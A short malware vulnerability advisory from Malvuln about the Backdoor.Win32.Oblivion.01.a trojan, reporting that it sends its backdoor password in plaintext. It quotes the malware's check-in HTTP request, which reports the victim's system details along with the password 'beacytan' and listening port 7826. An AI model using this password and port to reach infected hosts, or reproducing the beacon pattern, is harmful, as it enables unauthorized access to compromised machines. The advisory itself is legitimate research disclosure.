Backdoor.Win32.Oblivion.01.a malware suffers from an insecure transit vulnerability due to sending passwords in the clear over the wire.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/aef85cf0d521eaa6aade11f95ea07ebe.txt
Contact: [email protected]
Vulnerability: Insecure Transit Password Disclosure
Description: The malware listens on TCP port 7826 and makes HTTP GET requests to port 80 for "/scripts/WWPMsg.dll". The system logon credentials "Pass=beacytan" are sent plaintext via the URL query string. Third party attackers who can sniff traffic may locate the credentials which can also potentially be leaked to web server logs and or shared systems.
Vuln ID: MVID-2022-0658
GET /scripts/WWPMsg.dll?from=Oblivion&[email protected]&subject=User+Online&body=Oblivion+Server+Online!!+[OS=Win]+[ComputerName=DESKTOP-2C4IQJO]+[IP=192.168.18.125]+[Port=7826]+[Pass=beacytan]+[Ver=0.1]&to=121768128 HTTP/1.0" 404 -
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